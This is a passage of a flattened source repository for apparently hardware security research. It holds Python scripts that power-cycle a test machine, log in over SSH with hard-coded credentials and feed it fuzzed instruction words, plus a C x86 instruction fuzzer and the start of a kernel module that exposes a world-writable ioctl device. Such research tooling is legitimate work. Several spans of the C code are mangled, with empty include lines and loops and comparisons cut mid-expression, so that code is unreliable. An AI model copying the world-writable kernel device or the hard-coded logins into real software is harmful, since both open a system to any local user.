if stdout.channel.in_buffer: 114 | break 115 | if time.time() - start_time > M_TIMEOUT: 116 | device.dprint("(timeout - aborting)") 117 | abort = True 118 | break 119 | time.sleep(.2) 120 | 121 | if abort: 122 | break 123 | 124 | time.sleep(1) # accumulate rest of buffer 125 | 126 | m = stdout.read(len(stdout.channel.in_buffer)) 127 | 128 | device.dprint(m) 129 | 130 | device.dprint("=============== end ===============") 131 | 132 | retry = False 133 | except socket.error as e: 134 | # the device is not yet up (probably, it is responding to pings, 135 | # but sshd has not been started) 136 | device.dprint("except %s" % e) 137 | device.dprint("(retrying)") 138 | retry = True 139 | time.sleep(5) # don't spam the device 140 | except socket.timeout as e: 141 | # we successfully connected and launched a command, but the 142 | # device restarted 143 | device.dprint("except %s" % e) 144 | retry = False 145 | except: 146 | device.dprint("generic exception") 147 | e = sys.exc_info()[0] 148 | device.dprint("except %s" % e) 149 | retry = True 150 | finally: 151 | client.close() 152 | 153 | SIM or power.power_off(device.relay) 154 | 155 | # target device seems to (sometimes) not recognize the power on, if not 156 | # enough time has elapsed after the shut down 157 | time.sleep(10) # needs to be large 158 | 159 | end = time.time() 160 | 161 | device.dprint("! round %d, %.2f seconds" % (on_round, end - start)) 162 | 163 | if __name__ == "__main__": 164 | indent.initialize_indent() 165 | 166 | SIM or power.initialize_power() 167 | 168 | threads = [] 169 | 170 | print "launching tasks" 171 | for s in systems: 172 | t = Thread(target=task, args=(s,)) 173 | threads.append(t) 174 | t.start() 175 | time.sleep(2) 176 | print "completed task launch" 177 | 178 | for t in threads: 179 | t.join() 180 | -------------------------------------------------------------------------------- /fuzz/manager/fuzz_exit.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import paramiko 3 | import time 4 | import socket 5 | import random 6 | import collections 7 | 8 | import power.power as power 9 | import util.indent as indent 10 | import generator 11 | from device.device import Device 12 | 13 | TASK_TIME = 3 # seconds 14 | PING_TIME = 1 # seconds 15 | 16 | USERNAME = "user" 17 | PASSWORD = "password" 18 | COMMAND = "~/_research/rosenbridge/fuzz/exit/fuzz_exit.sh" 19 | 20 | SIM = False 21 | 22 | systems = [Device(0, "192.168.3.169", "unknown")] 23 | 24 | if SIM: 25 | systems = [Device(0, "localhost", "unknown")] 26 | USERNAME = "deltaop" 27 | PASSWORD = "xxx" 28 | 29 | #TODO: maybe alternate between strategies? the strategy needs to be integrated 30 | # into the master generator, so that each instruction is tried with both 31 | # strategies 32 | JUMP_STRATEGY = 2 33 | 34 | #TODO: want to be able to assign a device to a specific SHARED strategy ... 35 | # that is, we're not generating data for just that device, we generate it for a 36 | # strategy, and then many devices can pull from that data 37 | strategy_set_0 = [ 38 | #generator.strategy_left_bits(), 39 | #generator.strategy_right_bits(), 40 | generator.strategy_edge_bits(), 41 | #generator.strategy_random_bits(), 42 | #generator.strategy_random_right_bits(), 43 | #generator.strategy_random_left_bits(), 44 | #generator.strategy_random_edge_bits(), 45 | ] 46 | 47 | def strategy_set(ss): 48 | while True: 49 | for s in ss: 50 | yield s.next() 51 | 52 | #TODO: enlarge this, probably 53 | #TODO: is it better to shuffle the instruction set after it is generated? i'm 54 | # worried that e.g. one pattern of bits (e.g. first 4 bits 0) will all fail, so 55 | # you'll have long runs of completely failing on the first instruction. 56 | # randomizing gets around this. << it's better IF you think all instructions in 57 | # your set are equally 'good'. if the set deteriorates as it goes, then you 58 | # don't want to shuffle. 59 | INSTRUCTIONS = 200000 # optimized for fuzzing edge bits 60 | def generate_instructions(): 61 | print "generating instructions..." 62 | s = strategy_set(strategy_set_0) 63 | i = [next(s) for _ in xrange(INSTRUCTIONS)] 64 | i = list(collections.OrderedDict.fromkeys(i)) 65 | print "...done" 66 | return i 67 | instructions = generate_instructions() 68 | on_instruction = 0 69 | 70 | #TODO: probably enlarge this too 71 | RUN_INSTRUCTIONS = 1000 72 | def generate_run(device): 73 | # a run consists of the top instruction in the instruction list, and a 74 | # random RUN_INSTRUCTIONS-1 instructions following it 75 | global on_instruction 76 | device.dprint("generating run...") 77 | r = [instructions[on_instruction]] 78 | r.extend(random.sample(instructions[on_instruction+1:], RUN_INSTRUCTIONS-1)) 79 | on_instruction = on_instruction + 1 80 | device.dprint("...done") 81 | return r 82 | 83 | def device_up(device): 84 | import os 85 | device.dprint("pinging %s" % device.ip) 86 | response = os.system("timeout 1 ping -c 1 " + device.ip + " > /dev/null 2>&1") 87 | return response == 0 88 | 89 | # assumes device is powered off 90 | def task(device): 91 | on_round = 0 92 | while True: 93 | on_round = on_round + 1 94 | start = time.time() 95 | SIM or power.power_on(device.relay) 96 | 97 | while not device.up: 98 | time.sleep(PING_TIME) 99 | device.up = device_up(device) 100 | 101 | device.dprint("device up") 102 | 103 | retry = True 104 | while retry: 105 | try: 106 | device.dprint("connecting to device") 107 | 108 | device.dprint("(debug) create client") 109 | client = paramiko.SSHClient() 110 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 111 | 112 | device.dprint("(debug) connect") 113 | client.connect(device.ip, port=22, username=USERNAME, password=PASSWORD) 114 | 115 | device.dprint("(debug) exec") 116 | stdin, stdout, stderr = client.exec_command( 117 | COMMAND, 118 | timeout=TASK_TIME, 119 | get_pty=True 120 | ) 121 | 122 | device.dprint("=============== connected ===============") 123 | for l in iter(lambda: stdout.readline().strip(), ""): 124 | device.dprint("% " + l) 125 | if l == ">": 126 | break 127 | device.dprint("================= done. =================") 128 | 129 | device.dprint("(debug) generating run") 130 | r = generate_run(device) 131 | 132 | device.dprint("(debug) selecting jump strategy") 133 | j = JUMP_STRATEGY 134 | device.dprint("(debug) selected jump strategy %d" % j) 135 | 136 | device.dprint("(debug) sending test cases") 137 | stdin.write("%d\n" % j) 138 | for t in r: 139 | stdin.write("%08x\n" % t) 140 | stdin.write("-\n") 141 | 142 | device.dprint("=============== log ===============") 143 | for l in iter(lambda: stdout.readline().strip(), ""): 144 | device.dprint("% " + l) 145 | #if l == ">": 146 | # break 147 | device.dprint("=============== end ===============") 148 | 149 | retry = False 150 | except socket.error as e: 151 | # the device is not yet up 152 | device.dprint("except %s" % e) 153 | device.dprint("(retrying)") 154 | retry = True 155 | except socket.timeout as e: 156 | # we successfully connected and launched a command, but the 157 | # device restarted 158 | device.dprint("except %s" % e) 159 | retry = False 160 | except: 161 | device.dprint("generic exception") 162 | e = sys.exc_info()[0] 163 | device.dprint("except %s" % e) 164 | retry = True 165 | finally: 166 | client.close() 167 | 168 | #TODO: if the device freezes, does holding down power cause a reboot or 169 | # a power off? 170 | SIM or power.power_off(device.relay) 171 | 172 | time.sleep(1) 173 | 174 | end = time.time() 175 | 176 | device.dprint("! round %d, %.2f seconds" % (on_round, end - start)) 177 | 178 | if __name__ == "__main__": 179 | indent.initialize_indent() 180 | 181 | SIM or power.initialize_power() 182 | 183 | ''' 184 | print "powering on systems..." 185 | for s in systems: 186 | power.power_on(s.relay) 187 | print "...done" 188 | 189 | print "waiting for systems..." 190 | while any(not s.up for s in systems): 191 | for s in systems: 192 | if not s.up: 193 | s.up = device_up(s) 194 | print "...done" 195 | 196 | time.sleep(5) 197 | 198 | print "powering off systems..." 199 | for s in systems: 200 | power.power_off(s.relay) 201 | print "...done" 202 | ''' 203 | 204 | task(systems[0]) 205 | -------------------------------------------------------------------------------- /fuzz/manager/generator.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | MAX_INS = 0xffffffff 4 | HALF_INS = 0xffff 5 | 6 | def strategy_left_bits(): 7 | i = 0 8 | while i <= MAX_INS: 9 | yield int('{:032b}'.format(i)[::-1], 2) 10 | i = i + 1 11 | 12 | def strategy_right_bits(): 13 | i = 0 14 | while i <= MAX_INS: 15 | yield i 16 | i = i + 1 17 | 18 | def strategy_edge_bits(): 19 | # this is a good way to evenly explore both sides, with no repeated cases 20 | # or missing values - iterate over sums equal to incrementing value 21 | yield 0 22 | i = 1 23 | while i <= 2 * HALF_INS: 24 | for k in xrange(i + 1): 25 | yield int('{:032b}'.format(i-k)[::-1], 2) | k 26 | i = i + 1 27 | 28 | def strategy_random_bits(): 29 | while True: 30 | yield random.randint(0, MAX_INS) 31 | 32 | def strategy_random_left_bits(): 33 | while True: 34 | v = 0 35 | for i in xrange(32): 36 | b = 0 37 | if random.random() < .5 * (32 - i) / 32.0: 38 | b = 1 39 | v = (v<<1) | b 40 | yield v 41 | 42 | def strategy_random_right_bits(): 43 | while True: 44 | v = 0 45 | for i in xrange(32): 46 | b = 0 47 | if random.random() < .5 * (32 - i) / 32.0: 48 | b = 1 49 | v = (v>>1) | (b<<31) 50 | yield v 51 | 52 | def strategy_random_edge_bits(): 53 | while True: 54 | v_1 = 0 55 | for i in xrange(16): 56 | b = 0 57 | if random.random() < .5 * (16 - i) / 16.0: 58 | b = 1 59 | v_1 = (v_1>>1) | (b<<31) 60 | v_1 = v_1 >> 16 61 | v_2 = 0 62 | for i in xrange(16): 63 | b = 0 64 | if random.random() < .5 * (16 - i) / 16.0: 65 | b = 1 66 | v_2 = (v_2<<1) | b 67 | v_2 = v_2 << 16 68 | yield v_1 ^ v_2 69 | 70 | def strategy_all(): 71 | strategies = [ 72 | strategy_left_bits(), 73 | strategy_right_bits(), 74 | strategy_edge_bits(), 75 | strategy_random_bits(), 76 | strategy_random_right_bits(), 77 | strategy_random_left_bits(), 78 | strategy_random_edge_bits(), 79 | ] 80 | while True: 81 | for s in strategies: 82 | yield s.next() 83 | -------------------------------------------------------------------------------- /fuzz/manager/power/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xoreaxeaxeax/rosenbridge/d90069da69de99af4528d537655de6dd7b594119/fuzz/manager/power/__init__.py -------------------------------------------------------------------------------- /fuzz/manager/power/power.py: -------------------------------------------------------------------------------- 1 | from relay_ftdi import * 2 | import time 3 | import sys 4 | 5 | RELEASE_TIME = .5 6 | ON_TIME = 1 7 | OFF_TIME = 6 8 | 9 | def initialize_power(): 10 | #open_serial() 11 | #reset_device() 12 | pass 13 | 14 | def power_on(device): 15 | print "powering on device %d..." % device 16 | close_relay(device) 17 | time.sleep(RELEASE_TIME) 18 | open_relay(device) 19 | time.sleep(ON_TIME) 20 | close_relay(device) 21 | print "...done" 22 | 23 | def power_off(device): 24 | print "shutting down device %d..." % device 25 | close_relay(device) 26 | time.sleep(RELEASE_TIME) 27 | open_relay(device) 28 | time.sleep(OFF_TIME) 29 | close_relay(device) 30 | print "...done" 31 | 32 | if __name__ == "__main__": 33 | initialize_power() 34 | power_on(int(sys.argv[1])) 35 | time.sleep(5) 36 | power_off(int(sys.argv[1])) 37 | -------------------------------------------------------------------------------- /fuzz/manager/power/relay_ftdi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # this utility serves the same purpose as relay_serial.py, but uses the 4 | # pylibftdi driver to control the relays. it seems to work fairly well across 5 | # different systems. 6 | 7 | from pylibftdi import Driver 8 | from pylibftdi import BitBangDevice 9 | 10 | #import struct 11 | import sys 12 | import time 13 | 14 | DEVICE="AI053AH4" 15 | 16 | RELAYS = 8 17 | 18 | relay_state = [0] * RELAYS 19 | 20 | s = None 21 | 22 | def list_devices(): 23 | print "Vendor\t\tProduct\t\t\tSerial" 24 | dev_list = [] 25 | for device in Driver().list_devices(): 26 | device = map(lambda x: x.decode('latin1'), device) 27 | vendor, product, serial = device 28 | print "%s\t\t%s\t\t%s" % (vendor, product, serial) 29 | 30 | def set_relays(): 31 | print "setting relay state..." 32 | k = 0 33 | for i in xrange(RELAYS): 34 | k = k | (relay_state[i] << i) 35 | #k = struct.pack("B", k) 36 | 37 | try: 38 | with BitBangDevice(DEVICE) as bb: 39 | bb.port = k 40 | except Exception, err: 41 | print "Error: " + str(err) 42 | sys.exit(1) 43 | 44 | print "...done" 45 | 46 | def open_relay(relay): 47 | print "opening relay %d..." % relay 48 | relay_state[relay] = 1 49 | set_relays() 50 | print "...done" 51 | 52 | def close_relay(relay): 53 | print "closing relay %d..." % relay 54 | relay_state[relay] = 0 55 | set_relays() 56 | print "...done" 57 | 58 | if __name__ == "__main__": 59 | relay = 0 60 | delay = 1 61 | 62 | if len(sys.argv) > 1: 63 | relay = int(sys.argv[1]) 64 | if len(sys.argv) > 2: 65 | delay = int(sys.argv[2]) 66 | 67 | open_relay(relay) 68 | time.sleep(delay) 69 | close_relay(relay) 70 | time.sleep(1) 71 | -------------------------------------------------------------------------------- /fuzz/manager/power/relay_serial.py: -------------------------------------------------------------------------------- 1 | # this utility controls the attached relays 2 | # it seems to be fickle (works on some systems, not others), may depend on exact 3 | # version of libftdi installed? 4 | 5 | # if this fails, unplug and replug 6 | # if still fails, use ./drcontrol.py -l 7 | # and 8 | # ./drcontrol/trunk/drcontrol.py -d AI053AH4 -c off -r all -v 9 | # ./drcontrol/trunk/drcontrol.py -d AI053AH4 -c on -r all -v 10 | # seemed to get everything happy 11 | 12 | import serial 13 | import time 14 | import struct 15 | 16 | from pylibftdi import Driver 17 | 18 | DEVICE = "/dev/ttyUSB0" 19 | BAUD = 9600 20 | BYTE_SIZE = serial.EIGHTBITS 21 | PARITY = serial.PARITY_NONE 22 | STOP_BITS = serial.STOPBITS_ONE 23 | 24 | PRODUCT = "FT245R USB FIFO" 25 | RELAYS = 8 26 | 27 | relay_state = [0] * RELAYS 28 | 29 | s = None 30 | 31 | def open_serial(): 32 | global s 33 | print "opening serial..." 34 | s = serial.Serial( 35 | port=DEVICE, 36 | baudrate=BAUD, 37 | bytesize=BYTE_SIZE, 38 | parity=PARITY, 39 | stopbits=STOP_BITS, 40 | timeout=None 41 | ) 42 | if s.isOpen(): 43 | print "...done" 44 | else: 45 | print "FAILURE" 46 | exit(1) 47 | 48 | def set_relays(): 49 | print "setting relay state..." 50 | k = 0 51 | for i in xrange(RELAYS): 52 | k = k | (relay_state[i] << i) 53 | k = struct.pack("B", k) 54 | s.write([k, k]) 55 | print "...done" 56 | 57 | def open_relay(relay): 58 | print "opening relay %d..." % relay 59 | relay_state[relay] = 1 60 | set_relays() 61 | print "...done" 62 | 63 | def close_relay(relay): 64 | print "closing relay %d..." % relay 65 | relay_state[relay] = 0 66 | set_relays() 67 | print "...done" 68 | 69 | def retry(): 70 | # mostly so that output indentation is handled by our wrapper 71 | print "... retrying ..." 72 | 73 | def reset_device(): 74 | print "locating device..." 75 | found = False 76 | while not found: 77 | for device in Driver().list_devices(): 78 | device = map(lambda x: x.decode('latin1'), device) 79 | vendor, product, serial = device 80 | print product 81 | if product == PRODUCT: 82 | found = True 83 | break 84 | else: 85 | retry() 86 | print "...done" 87 | 88 | if __name__ == "__main__": 89 | open_serial() 90 | reset_device() 91 | open_relay(0) 92 | time.sleep(1) 93 | close_relay(0) 94 | time.sleep(1) 95 | -------------------------------------------------------------------------------- /fuzz/manager/repeat_fuzz_deis.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | python fuzz_deis.py 3 | python fuzz_deis.py 4 | python fuzz_deis.py 5 | python fuzz_deis.py 6 | python fuzz_deis.py 7 | python fuzz_deis.py 8 | python fuzz_deis.py 9 | python fuzz_deis.py 10 | python fuzz_deis.py 11 | python fuzz_deis.py 12 | python fuzz_deis.py 13 | python fuzz_deis.py 14 | python fuzz_deis.py 15 | python fuzz_deis.py 16 | python fuzz_deis.py 17 | python fuzz_deis.py 18 | python fuzz_deis.py 19 | python fuzz_deis.py 20 | python fuzz_deis.py 21 | python fuzz_deis.py 22 | python fuzz_deis.py 23 | python fuzz_deis.py 24 | python fuzz_deis.py 25 | python fuzz_deis.py 26 | python fuzz_deis.py 27 | python fuzz_deis.py 28 | python fuzz_deis.py 29 | python fuzz_deis.py 30 | python fuzz_deis.py 31 | python fuzz_deis.py 32 | python fuzz_deis.py 33 | python fuzz_deis.py 34 | python fuzz_deis.py 35 | python fuzz_deis.py 36 | python fuzz_deis.py 37 | python fuzz_deis.py 38 | python fuzz_deis.py 39 | python fuzz_deis.py 40 | python fuzz_deis.py 41 | python fuzz_deis.py 42 | python fuzz_deis.py 43 | python fuzz_deis.py 44 | python fuzz_deis.py 45 | python fuzz_deis.py 46 | python fuzz_deis.py 47 | python fuzz_deis.py 48 | python fuzz_deis.py 49 | python fuzz_deis.py 50 | python fuzz_deis.py 51 | python fuzz_deis.py 52 | -------------------------------------------------------------------------------- /fuzz/manager/util/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xoreaxeaxeax/rosenbridge/d90069da69de99af4528d537655de6dd7b594119/fuzz/manager/util/__init__.py -------------------------------------------------------------------------------- /fuzz/manager/util/indent.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import inspect 3 | 4 | class AutoIndent(object): 5 | def __init__(self, stream, depth=len(inspect.stack())): 6 | self.stream = stream 7 | self.depth = depth 8 | 9 | def indent_level(self): 10 | return len(inspect.stack()) - self.depth 11 | 12 | def write(self, data): 13 | indentation = ' ' * self.indent_level() 14 | def indent(l): 15 | if l: 16 | return indentation + l 17 | else: 18 | return l 19 | data = '\n'.join([indent(line) for line in data.split('\n')]) 20 | self.stream.write(data) 21 | 22 | def initialize_indent(): 23 | sys.stdout = AutoIndent(sys.stdout) 24 | 25 | -------------------------------------------------------------------------------- /fuzz/manager/watch_sessions.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | NAME = "monitor" 4 | clients = [0, 1, 2, 3, 4, 5, 6, 7] 5 | 6 | screen = "" 7 | 8 | WIDTH = 4 9 | HEIGHT = 2 10 | 11 | with open("tmp", "w") as f: 12 | 13 | f.write("sorendition wK\n") # white on bold black 14 | 15 | for _ in xrange(HEIGHT - 1): 16 | f.write("split\n"); 17 | 18 | for _ in xrange(HEIGHT): 19 | for _ in xrange(WIDTH - 1): 20 | f.write("split -v\n") 21 | f.write("focus down\n") 22 | 23 | f.write("focus top\n") 24 | 25 | for c in clients: 26 | f.write("screen -t %s tail -f device_%d.log\n" % (c, c)) 27 | f.write("focus\n") # focus to next region 28 | 29 | os.system("screen -c tmp") 30 | -------------------------------------------------------------------------------- /fuzz/wrap/Makefile: -------------------------------------------------------------------------------- 1 | all: bin/fuzz_wrapper 2 | 3 | bin/fuzz_wrapper: fuzz_wrapper.c 4 | mkdir -p bin 5 | gcc -m32 fuzz_wrapper.c -o bin/fuzz_wrapper -l:libcapstone.a 6 | 7 | clean: 8 | rm -f bin/* 9 | -------------------------------------------------------------------------------- /fuzz/wrap/fuzz_wrapper.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #include 23 | 24 | //TODO: maybe a solution is to simply fuzz 1 byte at a time... pick a first 25 | //byte, fuzz that for 100k instructions, see what happens. then pick a new 26 | //first byte, repeat. helps to separate out effects - no more uncertainty about 27 | //who caused the corruption. 28 | 29 | //TODO: unicorn support 30 | //TODO: mmx registers 31 | //TODO: alternatively to unicorn ... could try running the same thing with that 32 | //bit disabled, and comparing system states ... it's probably faster and more 33 | //reliable than unicorn, with the downside of risking that turning that bit off 34 | //doesn't really switch it out of the special state 35 | //*could even fork, execute one version with bit off one with bit on, and 36 | //compare MEMORY state too 37 | //TODO: could profile really quickly to see where you waste your time, should be 38 | //able to get many more tests 39 | 40 | #define DEBUG 0 41 | #define GDB 0 42 | 43 | csh capstone_handle; 44 | cs_insn *capstone_insn; 45 | 46 | #define STR(x) #x 47 | #define XSTR(x) STR(x) 48 | 49 | //#define START_PREFIX 0x6200 /* temp - don't want to start all over */ 50 | //#define PREFIX_LENGTH 2 51 | #define START_PREFIX 0x620400 /* temp - don't want to start all over */ 52 | #define PREFIX_LENGTH 3 53 | 54 | #if 0 55 | #define TICK_MASK 0xf /* 0xfff */ 56 | #define PREFIX_TICK 100 /* 10000 */ 57 | #endif 58 | //#define TICK_MASK 0xff /* 0xfff */ 59 | #define TICK_MASK 1 /* 0xfff */ 60 | //#define PREFIX_TICK 10000 /* 10000 */ 61 | #define PREFIX_TICK 10000 /* 10000 */ 62 | #define TIMEOUT 10000 63 | #define KILL 1 64 | 65 | #define UD2_SIZE 2 66 | #define PAGE_SIZE 4096 67 | #define TF 0x100 68 | 69 | typedef struct { 70 | uint32_t eax; 71 | uint32_t ebx; 72 | uint32_t ecx; 73 | uint32_t edx; 74 | uint32_t esi; 75 | uint32_t edi; 76 | uint32_t ebp; 77 | uint32_t esp; 78 | } state_t; 79 | state_t inject_state={ 80 | .eax=0, 81 | .ebx=0, 82 | .ecx=0, 83 | .edx=0, 84 | .esi=0, 85 | .edi=0, 86 | .ebp=0, 87 | .esp=0, 88 | }; 89 | 90 | struct { 91 | uint64_t dummy_stack_hi[256]; 92 | uint64_t dummy_stack_lo[256]; 93 | } dummy_stack __attribute__ ((aligned(PAGE_SIZE))); 94 | 95 | void* packet; 96 | 97 | static char stack[SIGSTKSZ]; 98 | stack_t ss = { .ss_size = SIGSTKSZ, .ss_sp = stack, }; 99 | 100 | #define MAX_INSN_LENGTH 15 /* actually 15 */ 101 | 102 | /* fault handler tries to use fault address to make an initial guess of 103 | * instruction length; but length of jump instructions can't be determined from 104 | * trap alone */ 105 | /* set to this if something seems wrong */ 106 | #define JMP_LENGTH 16 107 | 108 | typedef struct { 109 | uint8_t bytes[MAX_INSN_LENGTH]; 110 | int len; /* the number of specified bytes in the instruction */ 111 | } insn_t; 112 | insn_t insn; 113 | 114 | mcontext_t fault_context; 115 | 116 | typedef struct __attribute__ ((packed)) { 117 | uint32_t valid; 118 | uint32_t signum; 119 | uint32_t si_code; 120 | uint32_t addr; 121 | } result_t; 122 | result_t result; 123 | 124 | /* functions */ 125 | 126 | void preamble(void); 127 | void inject(void); 128 | void state_handler(int, siginfo_t*, void*); 129 | void fault_handler(int, siginfo_t*, void*); 130 | void configure_sig_handler(void (*)(int, siginfo_t*, void*)); 131 | void generate_instruction(void); 132 | unsigned long long llrand(void); 133 | void initialize_state(void); 134 | void fuzz(void); 135 | bool is_prefix(uint8_t); 136 | bool has_opcode(uint8_t*); 137 | bool has_prefix(uint8_t*); 138 | 139 | extern char debug, resume, preamble_start, preamble_end; 140 | 141 | uint64_t* counter; /* shared */ 142 | uint64_t* prefix; /* shared */ 143 | 144 | /* blacklists */ 145 | 146 | #define MAX_BLACKLIST 128 147 | 148 | typedef struct { 149 | char* opcode; 150 | char* reason; 151 | } ignore_op_t; 152 | 153 | ignore_op_t opcode_blacklist[MAX_BLACKLIST]={ 154 | //{ "\x62", "bound" }, /* suspect */ 155 | { "\x71", "jcc" }, /* temp, causing too many kills */ 156 | { "\x72", "jcc" }, 157 | { "\x73", "jcc" }, 158 | { "\x74", "jcc" }, 159 | { "\x75", "jcc" }, 160 | { "\x76", "jcc" }, 161 | { "\x77", "jcc" }, 162 | { "\x78", "jcc" }, 163 | { "\x79", "jcc" }, 164 | { "\x7a", "jcc" }, 165 | { "\x7b", "jcc" }, 166 | { "\x7c", "jcc" }, 167 | { "\x7d", "jcc" }, 168 | { "\x7e", "jcc" }, 169 | { "\x7f", "jcc" }, 170 | { "\xcd\x80", "int80" }, 171 | { "\xdf", "float" }, /* suspect */ 172 | { "\xdb", "float" }, /* suspect */ 173 | { "\xde", "fdivp" }, /* suspect */ 174 | { "\xe2", "loop" }, /* causing too many kills */ 175 | { "\xeb", "jmp" }, /* causing too many kills */ 176 | { NULL, NULL } 177 | }; 178 | 179 | void initialize_capstone(void) 180 | { 181 | if (cs_open(CS_ARCH_X86, CS_MODE_32, &capstone_handle) != CS_ERR_OK) { 182 | exit(1); 183 | } 184 | capstone_insn = cs_malloc(capstone_handle); 185 | } 186 | 187 | int get_instruction_length(void) 188 | { 189 | uint8_t* code=insn.bytes; 190 | size_t code_size=MAX_INSN_LENGTH; 191 | uint64_t address=(uintptr_t)packet; 192 | 193 | if (cs_disasm_iter( 194 | capstone_handle, 195 | (const uint8_t**)&code, 196 | &code_size, 197 | &address, 198 | capstone_insn) 199 | ) { 200 | /* 201 | printf( 202 | "%10s %-45s (%2d)", 203 | capstone_insn[0].mnemonic, 204 | capstone_insn[0].op_str, 205 | (int)(address-(uintptr_t)packet) 206 | ); 207 | */ 208 | } 209 | return (int)(address-(uintptr_t)packet); 210 | } 211 | 212 | /* this becomes hairy with "mandatory prefix" instructions */ 213 | bool is_prefix(uint8_t x) 214 | { 215 | return 216 | x==0xf0 || /* lock */ 217 | x==0xf2 || /* repne / bound */ 218 | x==0xf3 || /* rep */ 219 | x==0x2e || /* cs / branch taken */ 220 | x==0x36 || /* ss / branch not taken */ 221 | x==0x3e || /* ds */ 222 | x==0x26 || /* es */ 223 | x==0x64 || /* fs */ 224 | x==0x65 || /* gs */ 225 | x==0x66 || /* data */ 226 | x==0x67 /* addr */ 227 | #if __x86_64__ 228 | || (x>=0x40 && x<=0x4f) /* rex */ 229 | #endif 230 | ; 231 | } 232 | 233 | //TODO: can't blacklist 00 234 | bool has_opcode(uint8_t* op) 235 | { 236 | int i, j; 237 | for (i=0; i=MAX_INSN_LENGTH || op[j]!=insn.bytes[i+j]) { 242 | return false; 243 | } 244 | j++; 245 | } while (op[j]); 246 | 247 | return true; 248 | } 249 | } 250 | return false; 251 | } 252 | 253 | //TODO: can't blacklist 00 254 | bool has_prefix(uint8_t* pre) 255 | { 256 | int i, j; 257 | for (i=0; ibytes); i++) { 278 | printf("%02x", insn->bytes[i]); 279 | } 280 | printf("\n"); 281 | fflush(stdout); 282 | } 283 | 284 | /* gcc doesn't allow naked inline, i hate it */ 285 | void preamble(void) 286 | { 287 | __asm__ __volatile__ ("\ 288 | .global preamble_start \n\ 289 | preamble_start: \n\ 290 | pushfl \n\ 291 | orl %0, (%%esp) \n\ 292 | popfl \n\ 293 | .global preamble_end \n\ 294 | preamble_end: \n\ 295 | " 296 | : 297 | :"i"(TF) 298 | ); 299 | } 300 | 301 | unsigned long long llrand(void) 302 | { 303 | int i; 304 | unsigned long long r=0; 305 | for (i=0; i<5; ++i) { 306 | r = (r<<15)|(rand()&0x7FFF); 307 | } 308 | return r&0xFFFFFFFFFFFFFFFFULL; 309 | } 310 | 311 | void initialize_state(void) 312 | { 313 | inject_state=(state_t){ 314 | .eax=llrand(), 315 | .ebx=llrand(), 316 | .ecx=llrand(), 317 | .edx=llrand(), 318 | .esi=llrand(), 319 | .edi=llrand(), 320 | .ebp=llrand(), 321 | /* .esp=llrand(), */ 322 | .esp=(uintptr_t)&dummy_stack.dummy_stack_lo, 323 | }; 324 | } 325 | 326 | uint8_t cleanup[]={0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x0f, 0x0b}; 327 | 328 | void inject(void) 329 | { 330 | int i; 331 | int preamble_length=(&preamble_end-&preamble_start); 332 | static bool have_state=false; 333 | 334 | initialize_state(); 335 | 336 | //TODO: testing without preamble 337 | preamble_length=0; 338 | 339 | for (i=0; iuc_mcontext; 415 | ((ucontext_t*)p)->uc_mcontext.gregs[REG_EIP]+=UD2_SIZE; 416 | } 417 | 418 | void fault_handler(int signum, siginfo_t* si, void* p) 419 | { 420 | int insn_length; 421 | ucontext_t* uc=(ucontext_t*)p; 422 | 423 | result=(result_t){ 424 | 1, 425 | signum, 426 | si->si_code, 427 | (signum==SIGSEGV||signum==SIGBUS)?(uint32_t)(uintptr_t)si->si_addr:(uint32_t)-1 428 | }; 429 | 430 | memcpy(uc->uc_mcontext.gregs, fault_context.gregs, sizeof(fault_context.gregs)); 431 | uc->uc_mcontext.gregs[REG_EIP]=(uintptr_t)&resume; 432 | uc->uc_mcontext.gregs[REG_EFL]&=~TF; 433 | } 434 | 435 | void configure_sig_handler(void (*handler)(int, siginfo_t*, void*)) 436 | { 437 | struct sigaction s; 438 | 439 | s.sa_sigaction=handler; 440 | s.sa_flags=SA_SIGINFO|SA_ONSTACK; 441 | 442 | sigfillset(&s.sa_mask); 443 | 444 | sigaction(SIGILL, &s, NULL); 445 | sigaction(SIGSEGV, &s, NULL); 446 | sigaction(SIGFPE, &s, NULL); 447 | sigaction(SIGBUS, &s, NULL); 448 | sigaction(SIGTRAP, &s, NULL); 449 | } 450 | 451 | void generate_instruction(void) 452 | { 453 | int i, l; 454 | 455 | (*counter)++; 456 | if ((*counter)%PREFIX_TICK==0) { 457 | (*prefix)++; 458 | printf(">> %04x\n", *prefix); 459 | fflush(stdout); 460 | } 461 | 462 | for (i=0; i>(8*(PREFIX_LENGTH-i-1)))&0xff; 468 | } 469 | 470 | l=get_instruction_length(); 471 | for (i=l; i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "deis_kernel.h" 19 | 20 | #define DEBUG 0 21 | 22 | #if DEBUG 23 | #define msg(m, ...) { printk(KERN_INFO "(%s)>> " m, device_name, ##__VA_ARGS__); } 24 | #else 25 | #define msg(m, ...) 26 | #endif 27 | 28 | #define BUFFER_SIZE 32 29 | unsigned char buffer[BUFFER_SIZE]; 30 | 31 | static const char device_name[]="deis_kernel"; 32 | 33 | static dev_t deis_kernel_devno; 34 | static struct cdev deis_kernel_cdev; 35 | static struct class *deis_kernel_class; 36 | 37 | static long deis_kernel_ioctl( 38 | struct file* file, 39 | unsigned int cmd, 40 | unsigned long val 41 | ); 42 | 43 | static const struct file_operations fops={ 44 | .owner = THIS_MODULE, 45 | .unlocked_ioctl = deis_kernel_ioctl 46 | }; 47 | 48 | static void reset_buffer(void) 49 | { 50 | int i; 51 | for (i=0; idevt == MKDEV(TTYAUX_MAJOR, 0) || 94 | dev->devt == MKDEV(TTYAUX_MAJOR, 2)) 95 | */ 96 | *mode=0666; 97 | return NULL; 98 | } 99 | 100 | static int register_device(void) 101 | 